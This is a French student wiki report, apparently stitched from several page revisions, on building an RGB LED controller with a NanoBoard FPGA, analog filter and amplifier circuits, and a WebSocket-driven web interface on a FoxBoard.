On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.

Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]:

= Séances supplémentaires =

N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le "DIGITAL I/O" car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.

Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme "clock fpga". En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière.

Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.

Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande.

Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.

Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.

Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.

(A compléter ...)

[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]

Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]

= Conclusion =
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.

Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.

La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.

La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.

Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble.

Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.

Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.

Gestion de LED RVB, 2014/2015, TD2

2015-04-16T13:18:34Z

Smaia : /* Partie informatique */

= Objectifs =

Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties :

*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.

*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.

= Première séance =
== Partie électronique ==
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.
Suite à cela, nous avons commencé à réaliser le schéma du montage.
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]

Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.

[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]

Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.

Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps "haut" divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.

Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.

== Partie informatique ==

Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme.
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED.
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.

Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.

= Deuxième séance =
== Partie électronique ==

=== Montage ===
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]]
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]

=== Programme ===
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]

== Partie informatique ==

Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille.

Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message.

[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]

Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.

[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]]
[[Fichier:photoled.JPG|450px|thumb|center|Photo LED]]

= Troisième séance =
== Partie électronique ==

=== Montage ===
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type:
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]

avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :

<math>Vs= Ve * (1+ \frac{R1}{R2})</math>.

Ainsi il faut prendre 2 résistances R1 et R2 identiques.
Notre montage est donc simplifié.

[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]

Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]

=== Programme ===
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.

[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]

Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]

Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur.
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]

Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds.

[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]

Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait "retarder" l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]

Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]

== Partie informatique ==

Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard.

===Prise en main :===

Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.

Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un "&" pour qu'il s'exécute en continu.

On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.

Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]:

= Séances supplémentaires =

N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le "DIGITAL I/O" car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.

Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme "clock fpga". En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière.

Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.

Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande.

Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.

Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.

Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.

(A compléter ...)

[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]

Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]

= Conclusion =
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.

Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.

La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.

La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.

Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble.

Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.

Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.

Gestion de LED RVB, 2014/2015, TD2

2015-04-16T13:18:14Z

Smaia : /* Partie informatique */

= Objectifs =

Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties :

*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.

*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.

= Première séance =
== Partie électronique ==
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.
Suite à cela, nous avons commencé à réaliser le schéma du montage.
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]

Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.

[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]

Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.

Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps "haut" divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.

Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.

== Partie informatique ==

Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme.
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED.
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.

Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.

= Deuxième séance =
== Partie électronique ==

=== Montage ===
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]]
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]

=== Programme ===
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]

== Partie informatique ==

Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille.

Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message.

[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]

Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.

[[Fichier:Curseurs1.png|450px|thumb||Page Web - Curseurs]] [[Fichier:photoled.JPG|450px|thumb||Photo LED]]

= Troisième séance =
== Partie électronique ==

=== Montage ===
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type:
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]

avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :

<math>Vs= Ve * (1+ \frac{R1}{R2})</math>.

Ainsi il faut prendre 2 résistances R1 et R2 identiques.
Notre montage est donc simplifié.

[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]

Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]

=== Programme ===
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.

[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]

Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]

Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur.
